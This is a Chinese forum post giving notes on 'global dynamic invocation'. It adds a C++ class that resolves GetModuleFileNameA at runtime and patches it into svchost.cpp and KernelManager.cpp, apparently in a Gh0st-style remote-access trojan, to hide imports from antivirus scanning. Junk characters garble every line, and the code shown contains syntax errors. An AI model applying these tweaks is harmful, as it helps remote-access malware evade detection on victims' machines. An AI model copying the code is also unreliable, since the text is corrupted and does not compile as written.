返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记
; U/ M2 Q9 K4 K+ \& z# J5 u; csvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h  I: o2 @3 @) P) O
----------------------------------------5 a1 y1 N. {% c; w: f9 Z1 w: K# r
DTDY.h:
3 t' J4 Z, ?, g8 C
: W2 U" m- z; P. Y* \5 }- G#if _MSC_VER>1000
6 Y: d1 W+ S+ V7 |9 z: @$ G5 G% X#pragma once
9 k5 v- m% F" a' E/ [. b. a#endif //_MSC_VER>1000% l$ s5 `4 h1 L9 `: g
#include<windows.h>
' R1 E2 i0 d" v; z
* R  r! x' ]1 k, T. Ftypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);( `- P" ^  M5 a0 d1 t4 V
class DTDY
' t+ o+ G" O. d" R$ y{
; J! y% s, N/ M2 N& l! lpublic:$ s& k4 ]' h+ b
DTDY();
1 X0 ?9 n  X$ ^5 @- [virtual ~DTDY();( a) `/ D; L: G9 M) l- W* [
public:
. X' Q& ^5 r1 o; {4 Y, G0 G- }static pGetModuleFileNameA MyGetModuleFileName;
! n5 w5 e( V$ G, u7 m! ?static BOOL FunInitiallization();$ y- s! X5 F, R2 [  T8 O
};5 ]9 b0 j  r% G( p! R
#endif
: Z) ^% Q1 s: G8 ^% t/ `' l- k----------------------------------------
0 }! U' m; C+ j8 C6 ]! `" [  D' P7 \( e2 L! K1 N. q
DTDY.cpp:7 \2 q# W6 P7 a8 f: |

8 t7 [$ T- q1 R+ P% `#include "DTDY.h"7 }6 u3 i5 P* Z3 v& f) m
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;4 v6 f% B8 I( D7 \$ Y! q+ z6 M
DTDY:TDY()
/ u6 s' Q% T' _: A, E{
  @* x$ F: k, X}
  T4 r0 }9 k$ IDTDY::~DTDY()7 |3 ^! |4 w% w: l
{
5 Q6 Y& y9 H# c# Y7 y( h}- Z: x+ {  h' @( a" y5 ?
BOOL DTDY::FunInitiallization()* g3 M* B! R8 {+ ]
{, w9 @5 a# x4 v( d- Y! v
HMODULE hModule=LoadLibrary("kernel32.dll");/ \$ `+ {5 S( x. f5 w, Y
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
% Y. J6 ^' S1 z' mif(!MyGetModuleFileName=) return FALSE;
( B1 E, m/ Q. K
  @) z; u/ M/ u# Freturn TRUE;
/ h/ D& W0 W1 C}
2 a- C9 I. @: |# l( Y+ v/ u: k----------------------------------------
6 t4 U3 k1 y7 H, B  Vsvchost.cpp:( x  n: N/ K6 r% {  D
& s/ E" l% j! o! U
#include "DTDY.h"$ s" L$ V) Q6 ^; i; f; F
" `9 Q5 \1 ]. ~2 R
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved): Z# F' x& t/ l, ?  R
{
0 d0 m) R; O$ ^3 g0 yswitch(ul_reason_for_call)
9 k% I( }/ f3 m! u6 C7 S{
. C/ z0 U2 T9 N. v1 \case DLL_PROCESS_ATTACH:3 s" y, p4 k9 D) v6 v: p
if(!DTDY::FunInitiallization()) return FALSE;
9 `, a. _7 k2 I* r, a
6 J* m5 p* f; L8 ]! B+ V2 i. d, ?* Ibreak;
4 t& |+ r' T7 a0 w3 R}
3 H; ~* m' }$ {! j/ ?}/ k! d- K7 k: U- _  w7 [
! ], J# S! Z' M
8 y# v7 }; e* ]1 a' Q5 f: R) ?
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def; l6 y$ A5 T( G- o$ }9 }% G" N8 k
改写为
/ i8 c- R# j* U" Y& xDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
5 }( v& i- C3 Y* S/ j) g1 |----------------------------------------, p) A9 T* Y% P7 @
KernelManager.cpp:& q  U2 f4 C/ x6 M2 @" t+ V- R9 h! i

9 x9 Z9 w6 k; s$ \" r2 d5 G#include "../DTDY.h"; `2 k9 `; ]. t; b) N! `
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
8 l: a4 I4 k  e- o, e/ v$ B改写为
$ |% ]: D& D# M1 J0 f( |6 z0 z  jDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
1 h9 M8 h; I2 Y----------------------------------------

返回列表